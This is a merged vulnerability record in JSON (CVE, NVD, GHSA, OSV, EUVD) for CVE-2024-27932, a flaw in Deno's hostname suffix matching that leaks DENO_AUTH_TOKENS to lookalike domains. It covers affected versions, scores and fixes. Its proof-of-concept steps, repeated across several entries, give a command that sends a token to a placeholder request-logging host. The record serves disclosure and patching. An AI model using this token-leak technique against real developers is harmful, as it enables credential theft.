{"id":"CVE-2024-27932","aliases":["EUVD-2024-0827","GHSA-5frw-4rwq-xhcr","JLSEC-2026-104"],"status":"published","title":"Deno's improper suffix match testing for DENO_AUTH_TOKENS","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example[.]com` may be sent to `notexample[.]com`. Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue","severity":{"version":"3.1","score":4.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00594,"percentile":0.4884,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20"],"published":"2024-03-06T17:03:36Z","modified":"2026-10-28T02:31:01Z","fixes":[{"ecosystem":"crates.io","package":"deno","fixed_in":["1.40.4"],"sources":["ghsa","osv"]},{"ecosystem":"Julia","package":"Deno_jll","fixed_in":["2.0.0+0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"deno","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.8.0"},{"fixed":"1.40.4"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deno","ranges":[{"type":"SEMVER","events":[{"introduced":"1.8.0"},{"fixed":"1.40.4"}]}]},{"source":"osv","ecosystem":"Julia","package":"Deno_jll","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.0+0"}]}]}],"products":[{"vendor":"deno","product":"deno"},{"vendor":"denoland","product":"deno"}],"references":[{"url":"https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89","tags":["x_refsource_MISC","x_transferred","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-27932","tags":["advisory","web"]},{"url":"https://github.com/advisories/GHSA-5frw-4rwq-xhcr","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/27xxx/CVE-2024-27932.json","tags":["advisory"]},{"url":"https://github.com/denoland/deno","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-27932","title":"Deno's improper suffix match testing for DENO_AUTH_TOKENS","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example[.]com` may be sent to `notexample[.]com`. Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue","status":"published","published":"2024-03-06T20:45:16.373Z","modified":"2024-08-05T16:59:34.779Z","cvss":[{"version":"3.1","score":4.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:34:12.982241Z"}],"euvd":[{"id":"EUVD-2024-0827","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example[.]com` may be sent to `notexample[.]com`. Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue","status":"published","published":"2024-03-06T20:45:16Z","modified":"2024-08-05T16:59:34Z","cvss":[{"version":"3.1","score":4.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-03T02:23:28.642509Z"}],"ghsa":[{"id":"GHSA-5frw-4rwq-xhcr","title":"Deno's improper suffix match testing for DENO_AUTH_TOKENS","description":"### Summary\n\nDeno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.\n\n### Details\n\n[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.\n\n### PoC\n\n- Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.\n- Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com`\n- Observe that the token intended only for the truncated domain is sent to the full domain\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAnyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.","status":"published","published":"2024-03-06T17:03:36Z","modified":"2024-03-21T18:25:43Z","cvss":[{"version":"3.1","score":4.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:37:41.821668Z"}],"nvd":[{"id":"CVE-2024-27932","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example[.]com` may be sent to `notexample[.]com`. Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue","status":"published","published":"2024-03-21T02:52:21.953Z","modified":"2026-06-17T07:20:37.38Z","cvss":[{"version":"3.1","score":4.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:09:43.052376Z"}],"osv":[{"id":"CVE-2024-27932","title":"Deno's improper suffix match testing for DENO_AUTH_TOKENS","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example[.]com` may be sent to `notexample[.]com`. Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue","status":"published","published":"2024-03-06T20:45:16.373Z","modified":"2026-10-28T02:31:01.772546139Z","cvss":[{"version":"3.1","score":4.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:44:39.569658Z"},{"id":"GHSA-5frw-4rwq-xhcr","title":"Deno's improper suffix match testing for DENO_AUTH_TOKENS","description":"### Summary\n\nDeno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.\n\n### Details\n\n[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.\n\n### PoC\n\n- Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.\n- Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com`\n- Observe that the token intended only for the truncated domain is sent to the full domain\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAnyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.","status":"published","published":"2024-03-06T17:03:36Z","modified":"2026-09-10T03:50:10.161608939Z","cvss":[{"version":"3.1","score":4.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:38.213481Z"},{"id":"JLSEC-2026-104","title":"Deno's improper suffix match testing for `DENO_AUTH_TOKENS`","description":"### Summary\n\nDeno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.\n\n### Details\n\n[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.\n\n### PoC\n\n  - Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.\n  - Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com`\n  - Observe that the token intended only for the truncated domain is sent to the full domain\n\n### Impact\n\n_What kind of vulnerability is it? Who is impacted?_\nAnyone who uses `DENO_AUTH_TOKENS` and imports potentially untrusted code is affected.","status":"published","published":"2026-04-14T13:10:46.494Z","modified":"2026-07-25T18:23:46.706131711Z","cvss":[{"version":"3.1","score":4.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:47:18.159338Z"}]}}